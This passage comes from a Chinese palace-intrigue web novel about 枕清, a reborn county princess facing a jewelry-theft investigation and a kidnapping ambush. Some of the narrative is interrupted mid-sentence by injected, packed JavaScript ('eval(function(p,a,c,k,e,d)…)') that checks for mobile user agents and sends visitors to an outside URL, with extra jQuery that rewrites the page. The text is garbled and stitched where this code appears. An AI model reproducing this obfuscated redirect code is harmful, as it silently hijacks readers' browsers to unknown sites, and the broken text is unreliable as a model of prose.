枕清听到这话,无奈地哼笑两声,看到朝他们走来的王闻礼,扯了扯他的袖子掩饰尴尬道:“别说了。” 陈琅反倒是觉得奇怪,一语成谶道:“为什么别说了,怎么,不会是你打的吧?” 枕清看着人越走越近,转移话题:“那个,你不回青山寺去吗?” 陈琅见此模样,直接乐道:“哈哈还真是你打的!早就看他不爽了,打得好打得妙呀。” “你再吵,我就把你扔在这里!”枕清威胁完后,朝王闻礼抬首道,“几日不见,王长史近日可好?” 王闻礼目光冷然,唇角弯起嘲意:“有县主关怀,自然极好。” 枕清在他脸上看不出之前留下的印子,她淡淡点头,拍了拍陈琅的肩膀就示意自己要走。 王闻礼见人要走,他出声道:“陈郎君这几日在王某这里用了不少银子,笼统算下来,应有一千两银子,县主打算如何给?” 枕清想走的脚步一顿,她不可置信地看了一眼陈琅,又像是怀疑自己耳朵看了下王闻礼,视线在这两人身上来回逡巡,突然轻笑一声:“记账上,到时候我把我这条命赔给你,帮他抵债!” “严重了。”王闻礼道, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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枕清以为陈琅在挖苦自己把他给忘了,几日不来,一时没有出声,半会儿才说:“刚才所说的话还作数吗?” 方才枕清和陈琅所说的,也不是什么大秘密,枕清说那个镯子也不算好物件,她早就想换了,如果真的不情愿,那就让陈琅送一个漂亮的给她。 这就叫什么所谓的,旧的不去,新的不来。 枕清来到陈琅的藏宝阁,见到许多名贵的饰品,看得眼花缭乱,陈琅大方一挥手道:“随你挑选。” 枕清眉眼弯弯:“我挑几个便宜的。” 嘴上说着挑便宜的,手可不是如嘴上那般说的,好像尽是往贵地拿。 陈琅倒是不在乎,反倒一旁的手下冷汗淋淋。 枕清到底是没挑多,就选了两三件瞧着顺眼的玩意,反倒是陈琅觉得她拿得少,又给她挑了好几个金镶玉臂钏拎回王府。 甚至在走前还认真系了系她外袍松散的带子,打了个漂亮的结,颇有苦口婆心的意味:“现在我有钱,你想要什么或者要做什么都可以与我说,我会帮你的,就如同小时候你帮我的那样。” 枕清忘记自己那时是应了好,还是保持了沉默。 若只是小钱上的事情,的确好说,可惜有很多事情,并非只是小钱,又或者是小权。 而她,也不能毫无愧疚地拉他入局,最后给他一个不好的结局。 说到底,她不想欠陈琅。 20. 雨过青衫添晴色(三) 禹王府在长安的东北角,此地清幽寂静,少有声响。 枕清回到王府,听着外边的鸟鸣,给商震回了一封书信,说了一些长安趣事,再聊了一些旁的家常。 最后落笔——春之后,继以炎暑,重病新愈,望调养有序,恳请厚自珍爱。 笔正落完,枕清唤了人来,点了点自己的信件,道:“通过朝廷的驿站送到雷州。” “朝廷?速度虽快,那岂不是要被排查,县主没写什么吧?”那人小心翼翼问。 枕清笑着撑着脑袋,看他警惕模样,缓缓启唇道:“没什么,就是和师傅说一说家常话。” 是说一说家常话。 商震收到这信的时候,并没觉得有什么奇怪的地方,直到看到最后重病新愈,望调养有序,面如猪肝色。 这写的什么乱七八糟的,他哪里生病了? 还重病? 还新愈? 还调养有序? 还厚自珍爱? 简直滑天下之大稽! 不久后,有旨意让他出雷州,往北向西去的时候,商震才知道枕清这封信的意图。 这封信并不是给他一个人看的,还有云流…… 云流吗? 他好像快忘了这个人了。 到底是至交好友?还是官场敌对? 罢了,也老了不中用了,往事都已成云烟,也没必要纠结那么多。 ——“才多事少厌闲寂,卧看云烟变风雨。”[1] 不知道哪里传来的声响,枕清顿了顿后起身,直到管事走了进来,她又坐了回去。 管事的先是告诉她青黛小娘子回来后,而后再说柳长鸣死了。 听后,枕清面无表情地拨弄云烟,突然间,她克制地盖上圆铜色镂空香炉,闭上眼睛,鼻尖全是芬芳香气。 这也是在她的意料之中。 管事的观察枕清的神色,看到枕清略压住香炉盖的手微微颤抖,薄薄的青烟从指缝中溢出,在空中顷刻间消散。 从很小的时候开始,管事就已经发现枕清似乎很喜欢调和香味,不仅书房有,屋内和马车上也有。 原以为她是喜欢香味,既可以熏衣,也能陈设。现在看来,这香炉的香是枕清心绪不稳定时的调和,只有这独特的香味,她方能静心。 管事察觉自己知道了枕清的秘密,心绪当即一跳,后又慢慢道:“那位柳郎君本就是已经半个死人,一直吊着一口气,直到看到了青黛小娘子,方才咽气。” 枕清颔首道:“我知晓了,叫宁千渝过来,贴身伺候我。” 管事脸色原本是神伤,听到这话,转而抿唇,讨笑道:“好,我早就说县主应该要有个贴身丫鬟,应钰小娘子虽然好,终归不是侍女,还是要有几个贴心照顾主子的人才好。” 枕清身边是没有贴身侍女的,那些婢女都是院门外的,枕清偶尔出门充充场子会用到,其他时候,几乎不会召见。 她向来不喜欢人多,也不觉得任何人都是天生伺候主子的命。 管事看到枕清开窍喜悦表于面,内里却是心神不宁。 枕清留意到管事注意她的香炉,也只是淡淡勾起唇道:“若没别的事情,你就先下去吧。” 管事的说要告退,枕清恰似才想到一件事情,她出声道:“管事留步。” 快走的脚步当即停住,管事觉得枕清发现了什么问题,寒毛直立,脊背绷直,唇角挂着生硬的笑容,回身道:“怎么了,县主?” 枕清伸出纤细的食指点了点香炉,轻轻道:“我突然觉得这个味道不好闻了,帮我撤掉。” 管事面容一颤,他垂首道是,动作谨慎地端起来,心却不可避免地提了起来。 他或许是第一个知道枕清这个秘密的人,也可能是再也说不出来的人,他心里察觉到枕清是发现了,可她又和平常无二。 管事还在考量间,听到枕清又问。 “阿耶是否知道柳长鸣离世的消息?” “王爷知道。” 枕清又启唇道:“他作何反应?” 管事诧异地瞧了一眼枕清,神色突然有些为难,却见枕清不理会他的神情,只好认命道:“王爷有些难过。” 枕清摆手:“知道了,下去吧。” 管事称是。 枕清垂下眼,突然扯了扯唇。 难过吗? 阁楼内的香炉被端走后,传来的风是混杂草木的清新,她有些不自在地感知着。 管事猜的没错,她的确需要用香来克制自己的情绪,一直都需要。 乌云压顶,暴雨如注,如同银河铺天盖地的倒泻,雨点如同密集的织网,令人无处遁寻,天地间顷刻变得一片混沌。 青黛来见枕清的时候,浑身湿漉漉的,是冒着最大的疾雨走来。 枕清从一旁拿起巾帕递给她,没有说什么安慰的话,只道:“你已没有束缚,可以离开了,完完全全地只属于你自己。” 青黛的发梢、衣角、指尖都在朝地面滴水。 不多时,脚边便已经堆积起一滩水。 她目光呆滞地看着枕清递来的巾帕,伸出被淋得发白的手指,不知轻重地擦拭着脸。 原本觉得自己最讨厌枕清,因为她时常威胁自己,甚至没有什么好眼相待。 可是最后,自己无家可归后,能想到的第一个人,居然会是枕清。 青黛后知后觉地去感知枕清方才所说的话,这个意思是枕清也不留她了,本就是因为利益各取所需,现在枕清对她没了利益威胁,而枕清也不需要她了。 “可是我不知道我该做什么。” 青黛迟疑,又道:“以前小的时候,我就没有目标。他说我永远是他的妹妹,于是我每天就想着柳长鸣什么时候回来,什么时候出去,然后送他出门,再接他回来。不知道从什么时候开始,好像一切都变了。” 枕清经过她身侧,拍了拍她的肩膀,沾上了一片水渍,她若无其事地轻声道:“先去洗漱换一身干净的衣服,你也可以在王府里多休息几日,好好想一想自己到底想要做什么。” 青黛抓住枕清要离开的袖子,她茫然道:“我跟着你可以吗?” 枕清低垂目光,看着自己湿透的袖口,再缓缓移到青黛的脸上,笑着拒绝道:“我不需要你,我希望你自己能开拓一片天地,不屈居于任何人。” 青黛不理解:“那为什么宁千渝可以?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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将之前柳长鸣所有的感情、温暖、呵护都一举推翻,承认他就是一个恶人! 偏偏这样的恶人,又是对你极好的人。 青黛步步后退,直到她的脊背碰到旁的东西,方才停下。 所有的东西都是切切实实的经历和感受,她忽然觉得枕清所问的,都在指向她不敢。 她也确实不敢。 所以枕清也不敢留她。 青黛忽而卸了力,枕清扶住摇摇欲坠的青黛。 终是她软了心,枕清又道:“你武功甚好,以后应钰那边或许有货物需要护送,你可以去和她谈谈,倘若真的不知该往何处去的话。” 青黛抿唇道好,片刻后起身离开。 枕清还没出门,衣袖就湿了大半,沉重的分量就已经搭上了她的半边肩,她熟视无睹。 柳长鸣的事情,罪魁祸首好像是柳长鸣自己的病,可是如果没有她那一日的特意探望,理应能熬得更长一些。 因为上一世就熬得挺久,久到她都没发现柳长鸣和青黛有关,也没等她出手,就已经去世了。 就算重来一次,他也应该还得死。 至于禹王,到了现如今的地步,两人都心知肚明,早已回不去了。 其中隔着太多条人命。 21. 雨过青衫添晴色(四) 更深人静,万籁俱寂。 张宣晟黑着脸从大理寺走了出来,周犹跟在他身边一言不发。 两人可谓算是被折腾了一番,今日这回已经第三次了。 三进三出这大理寺! 不知道罗长观的人怎么回事,跟条疯狗似的逮着他查,后来查出来珠宝不干净,又去追查源头,绕来绕去,最后还是围着他这里转。 张宣晟当即握紧拳头,克制地道:“不就是个太后的走狗,在这里神气什么,上一世......” 周犹对于张宣晟这种话早已经见怪不怪了,见他顿了顿,于是开口追问道:“上一世怎么了?” 张宣晟不屑地哼了一声,讥讽道:“不也是我的一条走狗。” 周犹若有所思,眸色暗深,笃定道:“罗长观为什么盯着我们查,难道不是枕清的缘故?她一定想到了上一世的事情,此事是她在争对我们。” 而且现在对他们示好的人极多,不仅有朝中的大臣,还有长安的几位贵女们,似乎都是带着目的而来。 周犹猜她们或许是知道张宣晟在一世登上了帝位,所以示好的人逐渐变多,那么枕清是否真的知道? 应该是知道的。 周犹心想,是时候给她点厉害看看了。 张宣晟知道周犹讨厌枕清,他担心周犹真的不顾及枕清的性命,于是生硬地转开话道:“现在不知道有多少人知道上一世的事情,不能觉得单是枕清一人所为,无论是敌是友,都太多了。” 周犹的身形隐匿在夜色里,脸上的表情显得极为阴郁,若是让旁人看到,指不定要被吓一大跳,怕是觉得自己遇到了阎罗恶鬼。 夜色昏暗,微亮的月色照应在两人的身上,拉出两道萧条的身影。 见张宣晟如此,周犹缓缓摸索自己的手指,已有别样的心思。 枕清此人必须除掉,不然祸患无穷。 大明若日,阁楼外一片灿烂明亮。 枕清打了个喷嚏,她茫然地左右转头,思来想去,想见她不好的人太多了,不知道是谁在说她。 日色尚浅,窗明几净,阁中之物皆是精良,枕清放下手中墨宝。 她已经好一段时间没看到花明了。 据应钰说,这段时日,不知花明想了个什么法子,女扮男装跟着罗长观,罗长观竟然也睁一只眼闭一只眼地让她跟着。 果然,在罗长观眼中,花明是与旁的女子不同,第一次能喜欢上的,第二次也能。 最后这句话,应钰是笑着说的。 枕清缓缓勾唇,相比较于冷漠无情、公事公办的罗监察御史,她还是更喜欢有软肋的罗长观。 罗长观平日里的手段狠戾,做事雷厉风行,叫人觉得铁面无私。 倘若真是有了软肋,花明一定会陷入别人对付罗长观的助力,届时,罗长观一定会有求于她。 正思索间,一双宽大暗纹的鹿靴急匆匆跑了进来,甚至还能看到因为急促,斜面上还有几滴未抖干净点水泽。 她眼尾稍微往上一抬,看到一身深暗色粗布的长衫,正经的圆领下还有几颗浅色扣子,以及那张清秀漂亮的小脸。 是花明。 枕清这才发现花明这身都不合适。 花明一半落进光里,一半隐匿在阁楼的阴影下,她弯了会腰,已然跑得上气不接下气,压根没发现枕清打量的眼神。 枕清去一旁给她倒了一杯酒水,递在她手边,慢条斯理道:“慢慢讲,不急。” 不急?怎么能不急! 花明语速极快地说明情况! 方才她听到有人跟罗长观说,要举报枕清,说枕清私藏大批量不干净的珠宝,甚至还暗中送给朝廷贵妇,恐怕是这次波斯珠宝商贩的主谋。 花明这一听,俨然是心急如焚,心不在焉的,于是一个不小心就把鞋子踩进了水里,然后她委委屈屈拖着罗上观来慢一点,一直在想怎么给枕清传递消息。 后来发现这样不是办法,她才无可奈何地跑来说,罗长观快要来了,还带着不少人马和家伙。 枕清听后,轻轻拨开手边杯盏的浮沫,笑道:“来了便来了,你为何作这副表情?” 花明急道:“可他要来查你了!” 枕清神色悠然,抬眼便已经看到一群人乌泱泱地堆在大门口,外面的日头都被遮下大半,周身都笼罩在黑暗里,强有力的压迫,直让人不舒服。 花明便是如此,看到罗长观,她表情怯生生的,忍不住动动手,踢踢腿,小动作极其多。 最后在罗长观压过来的眼神里,从告密被看得不自在,到越想越生气,于是回瞪罗长观。 罗长观早就知道花明下一刻的动作和意图,在前一刻就转移了视线,唇角几不可察地弯了弯,再而绷直。 而另一边的枕清反之,不骄不躁,沉稳淡然。 可见此人的心思是多么安稳和深沉。 这叫罗长观想起来了朝中也有这么一个人。 枕清方才注意到两人的眼神,垂眸掩饰神色,而后笑着起身道:“罗监察御史好大的架子,竟带这么多人来这禹王府,知道的还以为是在办事,不知道的还以为这禹王府是你们大理寺的牢房里呢。” 罗长观面无表情道:“奉圣上口谕,彻查珠宝一案。如果县主有任何不满,还请县主海涵。” 既然搬出来圣上,这可不就是要压禹王府一头,花明自然也清楚这其中话语的涵义,她当即要出声,枕清在她要出口前,先开了口。 枕清漫不经心道:“这是自然,罗监察御史请说。” 罗长观拿出一张纸,摆在枕清面前,厉声道:“有人举报你,说你在家中私藏大量珠宝,甚至送给朝廷贵妇,是为分赃!此事兹事体大,还请县主如实说。” 那张纸上的自己并不端正,微微下斜,看起来是特意用别的方法,让人瞧不出与自己原本的字迹有相似之处,好隐藏自己。 可枕清看清了字迹上的内容,也看清了字迹。 这样的字迹,是陆佑善用左手写出来的,因为她曾在上一世看到过。 枕清表情有一瞬的失神茫然,她勉强弯唇,放下手中杯盏道:“爱美之心人皆有之。罗监察御史说起这事,我的确也有印象,原本也是在旁人那里买的,我怎知这些珠宝会和这起案件相关。” 她的神态怡然自得,极为轻松地搬出律例:“我记得诸投匿名书告人罪者,流二千里。得书者,皆即焚之,若将送官司者,徒一年。官司受而为理者,加二等。被告者,不坐。辄上闻者,徒三年。 “但反逆之徒,衅深夷族,知而不告,即合死刑,得书不可焚之,故许送官闻奏。状既是实,便须上请听裁;告若是虚,理依诬告之法。”[1] 既是珠宝一案,并非叛国大罪,涉及不深。 倘若罗长观将举报之人说出,枕清会知道谁是推她出来背后之手,若是罗长观要维护那人,罗长观便要把自己一同搭进去,无论选择任何一条,对枕清而言,没有绝对的利弊。 这就是枕清所说出来的意图。 方才见枕清那一刻的愣神已是不易,罗长观不觉得枕清是个情绪外露之人,显然是认出那字迹的主人。 却还要将背后的人完完全全逼出来,还是说逼着他不要往下深探。 他欲要多问,只听枕清话锋一转,又道:“你也知道此事,滋事体大,会触及到许许多多的朝廷命妇,长安贵女,所以罗监察御史更应该要好好想清楚,好好查,慢慢查,仔细查才是。” 触及太多的关系网,便无法好好下手,倘然真的每个人都要彻查,最后吃亏的难保不是他自己。 枕清这是想拉所有人下手,从而不得不连着她一同保全。 还是说她想吞并那笔珠宝的赃款?可朝廷追查波斯商人,就是想要知道那珠宝的来处,好充公来充盈国库。 罗长观心中已有衡量,出声道:“这是自然,不知道县主那些东西从何而来,送给了那几位朝廷贵妇,长安贵女,我命人写下来,定然是仔仔细细,一个不露。” 枕清看了一眼花明,伸出食指轻轻点在下颌上,想了一会道:“我看这位小郎君面生,好似你那边的人,就让她来写吧。” 不少人探头探脑地跟随枕清视线朝花明看去,花明看了她身后的人好几眼,这些天相处下来,自然也是有眼熟和知道的。 大家都心照不宣地没出声,但只有罗长观和花明知道,枕清说这话,是要将自己和花明的关系摘除得干干净净。 罗长观屏退了一大群乌泱泱的人,只有四人留在阁楼内。 还有一个应该是罗长观的贴身侍卫,看起来比罗长观近人情,也更通情达理。 枕清开口道:“第一个人是尚书大人的嫡长女,陆佑善......” 每报一个人名,罗长观的脸色就沉一分,这些人都是朝中官职五品以上的贵女。 不好下手,若是一个不小心得罪了人,他在朝廷怕是会被不少人使绊子,届时更难自处。 日薄西山,黄昏后的光彩照在花明所写的纸页上,映出窗格的痕迹,花明抬起小脸看着枕清,神色有些许担忧,却也没停笔。 枕清朝花明摇摇头,声音轻缓:“差不多就是这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665313|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人了。” 这回罗长观的手下封奇侃开了口,颇有嬉皮笑脸讨媚那一套,“县主来长安也有一段时日了,竟然结交了这么多长安贵女,可谓是亲和之人,只是这珠宝的来处到底是在哪里?” 先是夸,后是问。 俗话说,伸手不打笑脸人。 枕清也跟着弯起唇来:“来处自然是鬼市,就是觉得好看,哪里会知道这是什么赃物。” 把自己的行径摘干净后,她又道:“而且珠宝都已全部送人了,我这府中没有了,罗监察御史还要查查这禹王府吗?如果要查我,那么其他的人,也应全部彻查?” 言语犀利,若是要查她枕清,其余的地方也不能遗漏,需得一视同仁。 封奇侃眼神警惕,罗长观一言不发,花明面容失色,不由凝眉转向枕清,虽然花明有时会露出一点稚气,但并非完全不懂,枕清这是要叫罗长观把人一一得罪了。 罗长观低垂眼睫,日落的昏光点在他的鼻尖上,如同在火上灼烤,竟有一种诡异的柔和。 他忽而轻笑一声道:“不查了,下官信县主。” 花明希望枕清好,但也不知道原来罗长观也会为了别的事情而妥协。 妥协二字,在罗长观这里极为难得。 她不禁微微红了眼眶。 记得第一天她跟着罗长观,罗长观就在她的眼皮子底下折磨很多人,手段迅速利落,比审她的时候更为冷血无情,犹如一个铁面阎罗。 那时候她在想,怪不得所有人都叫他海东青,自己明里暗里也喊了好多次。 其实在花明赖上他的第一天,罗长观看到花明吓白了脸,那时的他只是朝后冷漠地讥讽道:“害怕?” 花明抓紧他的衣角抓得更深,手指攥得发白,罗长观心里升起了一种不一样的感觉,心里居然在想,会不会让她觉得自己很坏。 后来,他略有在意地解释道:“既然要整治贪官,你自然要比他更坏,不然你怎么整治贪官呢?” 花明思绪回笼,实在不想让旁人看到她这要哭的模样。 之前被严刑拷打的时候都没哭,怎么现在就要掉眼泪了,她在眼泪要掉下来后,站起身,小跑了出去。 门外一群汉子看到花明眼眶通红地跑远,不由喃喃:“这小子,怎么跟个小娘子似的。” 枕清看着花明离开视线,她这是心疼罗长观被自己压一头,夹在中间难办呢。 可这罗长观哪里是个妥协的主,能让他妥协的,只有花明一人。 枕清抬起眼睫,一层落日余晖照进眼瞳中,散发金色的琉璃异彩,仿若世间最漂亮的珠子。 她缓缓走动,背着光彩,又转身道:“她这是心疼你呢。你让花明来给我通风报信,只不过是你来逗一逗她而已,这么短的时间让她知晓,看她如同热锅上的蚂蚁,你很欢快吗?” 欢快吗? 是欢快的。 倒不是讨厌,而是各种各样的情绪和模样,叫他觉得有意思。 他如是想,却一言不发。 “所谓酷吏,也只是皇权的走狗。” 枕清冷声道:“罗监察御史,在惩治的过程里,你可以是一股清流,但也要承受别人染浊这股清流。有时候你也得改改你这对豪门贵族,痛下辣手的性子。” “而且,你的命也很重要。”枕清对于罗长观审视的眼神视若无睹,补充又道,“起码在花明这里是这样。” 罗长观抬手让封奇侃去外面看人,封奇侃收令站在门前,挡住了外面人的视线。 内阁的香炉冉冉上升,清秀白皙的手轻轻挥动青烟,下一刻就消散在空中,只闻到一股清香,让人心神宁静。 晚间的昏光落进阁楼内,飘飘飞舞的轻纱似乎在笼罩一个美丽又破碎的梦境。 罗长观和枕清对立而站,他目光沉沉地看着枕清,意外地没有带着审视的意味,反倒是平静地如一滩死水。 这一模样,枕清在心中略微差异,后而想到了什么,突然失笑。 “县主也知道我是皇权的走狗,是圣上和太后的牺牲品,需要之时被重用,无用之时被抛弃,我坐上这个位置,自然更清楚所谓的酷吏,没有任何一个人有好下场,当然我并不会觉得自己有所不同。” 罗长观又道:“我可以帮你解决张宣晟,但是并不能完全除掉,因为有人要护他,也打算把旁人推了出来。” 能帮,能给不痛快就行,至于结果,好与坏都已无所谓。 枕清直白问:“你想要在我这里交换什么?” 罗长观也不打马虎眼,他道:“花明的命。” 22. 雨过青衫添晴色(五) 命,是否皆有定数? 《周易》里说:“大衍之数五十,其用四十有九,人遁其一。” 所算之事又在大道之中,尚留一线变化之术。 而枕清自己便是那一线的变化。 仲夏之初的天色总是多变,望眼之处皆是昏蒙蒙的,厚重又低沉,灰黑的浊云笼在上空,几欲一压再压。 枕清拢了拢身子上的外衣,一步步踩在湿滑的青石板上,走在院中一处的秋千旁,从这处往外看,一眼瞧见零落的花。 水珠覆盖,压弯枝头,垂挂滴落。 枕清余光中瞧见了领路的阍人朝这处而来,后边跟着一个小厮,步履匆忙,神色焦急,似有什么急事。 那小厮一见到枕清,犹如见到救星,朝她行了礼数,便当即想开口,只见枕清神色淡漠,只好哽下心中话语,等待枕清颔首示意。 小厮见枕清真给他点了脑袋,诚惶诚恐地躬腰后,扑腾一跪,使得阍人后退半步,枕清眉梢轻轻一挑,却也随他了。 他声音带颤:“县主,求求你救救我们小娘子吧,她自从在王府回来,就浑身不舒服,找遍了长安的大夫都束手无策,前几日小娘子又受了风寒,陆小娘子不让我们打扰县主,现如今怕是不行了,县主能否跟我前去府中一看。” 阍人皱眉,他在想自家的县主又不是大夫,若是束手无策了,找她家县主又能怎么样。 枕清和阍人想到了一块儿去,她唇瓣抿成一条直线,突然吩咐道:“去把义宁叫过来,他医术精湛,给陆小娘子好好瞧一瞧,许是能逢凶化吉。” 阍人点头离开了这处,朝义宁方向走去。 阁楼廊庑下,路过的几个婢女穿着碧绿色的衣裳,恭敬站在一旁行礼,待枕清从她们身侧走过去,才缓缓松了一口气,再紧步跟着管事姑姑走。 枕清眼神不在任何人身上停留,眼神没有所谓盛气凌人的目空一切,而是无论豪门权贵还是低贱卑人,都不在她眼中。 天空下起了淅淅沥沥的小雨,最后一位小侍女隔着雨幕回头看枕清。 枕清的脚步轻缓,没有任何停留的意思。 县主是把她给忘了吗? 她刚回过头,管事姑姑凌厉的眼神便已经扫过来了,声音严肃又冰冷:“事先都和你们说过了,在王府里要安分守己,把自己当成瞎子、聋子和哑巴!总有人喜欢把我的话当成耳旁风。” 她的声音陡然一转,问向那个侍女:“你叫什么名字。” 侍女低眉,抿唇道:“宁千渝。” 管事姑姑挑眉,冷哼一声,看着外边的毛毛细雨有变大的趋势,当即来了个下马威,给旁人一种震慑的作用。 她开口命令道:“出去跪着,什么时候知道管好了自己的眼睛,再给我起来。” 别的侍女面色惨白,却也不敢左右相看,只是垂首在原地,等候命令。 宁千渝也不反抗,点点头后依照管事姑姑的命令行事。 要跪便跪,要罚便罚。 既听话又乖顺。 雨幕的滴滴答答声音因为思绪而变得清浅。 枕清听到陆佑善这事,本就心神不定的思绪变得更为混乱,就连毛毛细雨也不曾留意,上了马车后看到帘子被打湿了一片,才回过神来。 不知几时下起了小雨。 陆家马车的外部装扮精致大气,完全是个有钱有权的贵族挥霍物,财气外露,走进内里,也丝毫不输外边装扮。 东西整洁,穗子挂着的流珠颗颗精美,打造的也是靓丽,满目生辉。 枕清抬手碰了碰四周挂着的流苏穗子,这陆家到底是有钱,一辆接外人的马车是这样,那么自行乘坐的理应更豪气,可陆佑善又极少外露。 马车驶入街上,耳边传来不少吆喝叫卖声。 大启规定马车上街不许疾行,枕清安然地待在马车内,直到马车行驶的路线越来越偏。 枕清懒怠地勾起唇角。 变化出现了。 她感知路上的声音越来越小,只能听见雨滴和马车的咕噜声,再无别的。 过了好半晌,枕清从头上拨下一根尖锐簪子,把玩般捏在手中,冷声问:“这并非是去陆尚书府邸的方向,你到底要带我去哪里?” 那人并不停下马车,只盈盈笑道:“县主去了就知道了。” 声音和方才在府内的诧异极大,似女人娇媚带着调笑,可身形是男人模样,理应是换了人。 枕清并不想与之废话,当即拨开帘子,将簪尾那头对准那人脆弱的脖颈处,只见那人似有所感,当即握住了她的手腕,一手拉住缰绳,慢下马匹的速度,一边侧着脑袋躲避动作后,带着满身寒气飞快闪进马车内。 两人之间的手还在紧紧较量中,枕清眼睫微微一抬,轻巧转动簪子,猛然刺进那人的手掌中,溢出的血淋淋地滴流在马车的毯子上。 那人尖锐的目光闪过一股寒芒,当即凑身前去,逼得枕清后退半步,避免两人贴近。 就在这一瞬之间,那人娇俏地笑一声,狭长的凤眼微微挑起,比女娘还要娇艳妩媚,枕清愣怔片刻,簪子被夺了去,摔在马车的角落里,满眼都是红色的血迹。 枕清这才缓缓看向那人的脸。 那人脸上阴影比得上今日密布的乌云,尖锐的目光像是一只随时要发疯的狐狸,随时能咬上别人的脖颈,可又意外地柔弱。 像是平康坊里烟花场所的女子。 男身女相。 但最为明显的便是,他细嫩白皙的脸上有一条彩色痕迹,在遮盖一条细小丑陋的疤痕。 枕清没有被他的容貌所惊讶到,而是唇角勾起冷意:“亡命之徒。” 仇羌握住自己的被穿了一个大洞的手,不停地挥动缓解,疼死他了! 想杀人的心都有了! “我是亡命之徒,落在亡命之徒里的县主,又能比我好得了几分?”仇羌讥讽道,“我也是拿钱办事,县主若是安分点,我或许能让你痛快点死,如果再耍别的小动作,我先打断你的腿,刮花你的脸,再拔了你的舌头。” 枕清向来不喜欢被人威胁,她再次拨下一根簪子,在仇羌警惕威胁的目光下,轻轻一笑,当即掷了出去。 在仇羌错愕的视线里,马匹突然不稳,帘子晃动的一刹那,仇羌抬眼看到那只簪子插在了马匹的身上。 马儿发癫了! 马儿发癫了! 这个疯子,居然让马儿发癫了! 仇羌第一次遇到这么疯癫之人,这是要他们两个人都不要活了! 车内的两人身形具不稳,枕清没不想活,她刚想跳出马车,仇羌妩媚的眼神阴沉敛下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665314|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他迅速拉住枕清的衣服,用力往自己身上拉扯,两人一同东倒西歪,在马车内撞得砰砰响。 枕清转身踹了一脚仇羌,仇羌也不甘示弱,手肘猛地勾住枕清的脖子,互打的动作都下了死手,即使身形不稳也没有停下。 天上的雨还在淅淅沥沥地下着,郊外树叶随风作响,车盖被打飞了大半。 仇羌因受惊的马匹,在车内左右摇晃,撞得他头昏脑胀,刚想直接转出去,枕清眼疾手快地拉住他的动作。 几番动作下来,相互桎梏,直到马匹把马车撞在树下,仇羌的脊背猛然一震,整个人扑倒在一旁。 他满头乌发凌乱地散下来,落在肩头,和雪白的锁骨肌肤相称,竟也和同为女娘的枕清平分秋色。 唯独那脸上的怒意,把摄人心魄的神态弱淡了几许,像是凡尘中的万种风情,似触碰就能靠近。 仇羌彼时管不住表情,手扶着腰,大声道:“疼死我了!枕清,我和你不共戴天!” 枕清也被撞得仰躺在一旁,仇羌瞧见枕清也没落得好,这才高兴地哼唧了一声。 “你说你,好好地让我送到不就行了,你省心我也省事。” 枕清仰躺在马车上,她甚至还能看到乌沉的天色和树梢相映。 她静静看着,冰冷的雨丝落在她的身上,喘息起伏,身体曲线柔美好。 在仇羌再次转过来的目光下,枕清当即抬眸,凌厉的视线向他扫去,眉梢间显得冷韵,倒也有种说不清道不明的艳色风情,却也让人觉得高不可攀。 “这一单子是我接的最贵的一单,都被你毁了,你说我该怎么杀了你才好。”仇羌移开视线道。 看他这样,顶多两个人都半死不活。 杀了她?妄想。 两人都已经筋疲力尽了,马车也被撞歪了,车顶掀翻了半边,雨还在淅淅沥沥地下着,落在脸上,身上,带着无尽的凉意。 半晌后,方才有力气动了动身形。 “多少银两?”枕清问。 “什么?”仇羌茫然。 枕清喘息着坐了起来,指了指自己道:“我的价格。” 仇羌胸膛起伏得厉害,在身前比了个数字,满心满眼透着兴奋。 枕清坐着踹了他一脚,别有深意道:“我一支簪子就抵你十个单子,你要不跟了我,我给你更多,怎么样?” 很高的诱惑力。 可他不信。 枕清打量这人,他既然在脸上画了这么多颜色遮盖,一定是爱美之人,而且喜欢有女腔调说话,想必是有某种癖好。 枕清道:“我能叫人治好你的脸。” 仇羌靠近枕清,拍了拍她的肩膀,一脸甜蜜,一口答应:“行。” 枕清被激起鸡皮疙瘩,推远了仇羌,突然觉得自己上了贼船。 雨势慢慢小了许多,车轮压过泥泞湿滑的难以行动。 两人驾着破破烂烂的马车,枕清整理好自己的面容,穿过一片竹林,来到了仇羌原本就要带她去的地方。 此地偏僻,只有一间小院子,枕清下了马车,看到正中间的一个人正在安详地喝茶,旁边还有几个五大三粗的男子,俨然都不是好对付的主。 枕清在路上就已经想到有人用陆佑善来诓骗她,只是没想到那个人居然会是张宣晟身边的周犹。 23. 雨过青衫添晴色(六) 上一世的周犹帮助张宣晟登上帝位后,就被她逼着退隐山林了。 所以现在出现在这里,既然是在她的意料之中,也是意料之外。 仇羌站在她身边,周犹身边的人扔给仇羌一笔钱,仇羌讨笑着接过,当即一个转身站在周犹小弟一旁。 不少人奇怪地看了他一眼,按理他现在应该要走了。 